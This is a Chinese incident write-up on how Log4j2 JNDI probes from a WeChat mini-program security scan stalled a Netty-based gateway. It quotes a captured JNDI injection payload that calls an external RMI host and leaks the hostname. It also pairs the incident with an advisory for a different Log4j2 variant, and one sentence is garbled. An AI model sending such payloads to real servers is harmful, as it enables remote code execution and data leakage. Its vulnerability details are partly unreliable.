一次 Java log4j2 漏洞导致的生产问题 _生活百科

一、问题近期生产在提交了微信小程序审核后(后面会讲到)，总会出现一些生产告警，而且持续时间较长。我们查看一些工具和系统相关的，发现把我们的 gateway 差不多打死了。有一些现象。

网关有很多接口处理慢。
网关健康检查不通过，发生重启。

前面我们提到是微信小程序审核后，为什么我们觉得是和这个相关，因为我们在相关的时间段的 Nginx 请求日志种的 agent 字段看到了

Tencent Security Team, more information: https://developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001

。我们可以看到小程序提交审核后平台将对提审的小程序进行安全检测.我们也找到对应的小程序负责人询问，是当天那个时间段前10分钟左右有提交小程序审核。而且这个小程序也是包含了这些扫描接口的。

文章插图
我们在想是业务场景触发的问题与这个扫描凑巧在一个时间段吗?因为我们认为这个检查频率不至于打垮我们的服务。我们决定在一个业务闲时，也就是低峰期的时候检测一次(重新提交一次小程序提审) 。我们在提交完之后发现，扫描开始之后，我们的网关还是支撑不住了。频繁的超时和健康检查失败。网关服务有节点发生了重启。我们笃定跟微信的扫描是有关了。
二、解析过程基本问题解析我们在第二次扫描的时候，也做了一些准备。

dump jvm 的内存。
dump java 的线程栈。
关注 Nginx 和 gateway 的日志。

我们 dump 线程栈发现了一些内容，但是我们没有引起注意。

文章插图
内存 dump 的话，我们发下并没有占用太多内存，内存使用正常。
我们最后在 gateway 发现了一些日志。

文章插图
整个请求耗时50多s 。
我们看到 gateway 打出这个请求的请求体是

{"pageNum": "${jndi:rmi://9.4.131.68:1099/bypass8cc3241fe66af8c6a1e82d9964e059be-/-${hostName}}","module": 1,"pageSize": 20}

这个 pageNum 的值看着就像注入的。然后我拿着这个值去搜索。

文章插图
发现可能跟 log4j2 有关，询问开发目前我们使用的是 2.13.1
在log4j2漏洞公告中，我们发现受影响的版本是 2.0-beta7 =< Apache Log4j 2.x < 2.17.0（2.3.2 和 2.12.4 版本不受影响）
该漏洞出现的时间是在 2021-12-29，漏洞的详情

Apache Log4j2 是一个基于Java的开源日志记录框架，该框架重写了Log4j框架，是其前身Log4j 1.x 的重写升级版，并且引入了大量丰富的特性，使用非常的广泛。该框架被大量用于业务系统开发，用来记录日志信息。
据官方描述，拥有修改日志配置文件权限的攻击者，可以构造恶意的配置将 JDBC Appender 与引用 JNDI URI 的数据源一起使用，从而可通过该 JNDI URI 远程执行任意代码。
由于该漏洞要求攻击者拥有修改配置文件权限（通常需借助其他漏洞才可实现），非默认配置存在的问题，漏洞成功利用难度较大。

log4j2 漏洞相关源码解析log4j2 在支持日志打印的时候，支持了十几种旁路策略，其中有一个就是jndi ， log4j用 jndi 实现远程调用并将结果进行日志打?。撞悴捎昧?code>socket 进行连接，但是没有设置超时时间，当日志中有多个${导致循环调用多次。所以上面日志打印会重复2次 jndi 的操作，又因为我们日志打印配置了console 和 rollingFile 。所以会打印四次日志。
gateway采用 Netty 作为底层容器，采用了Reactor模式，有一个事件循环组负责监听事件，事件到达后会丢给另一个事件循环组去处理读写，事件循环组内有多个事件循环器，每个事件循环器由一个线程去处理业务读写，因此打印上面日志会阻塞住其中一个处理线程。从dump 出来的单个文件看是只有一个处理线程被阻塞了。而当进行心跳健康判断的时候，有一定几率会被分配给阻塞的线程，因此会放到队列中一直等待线程处理，进而超时了把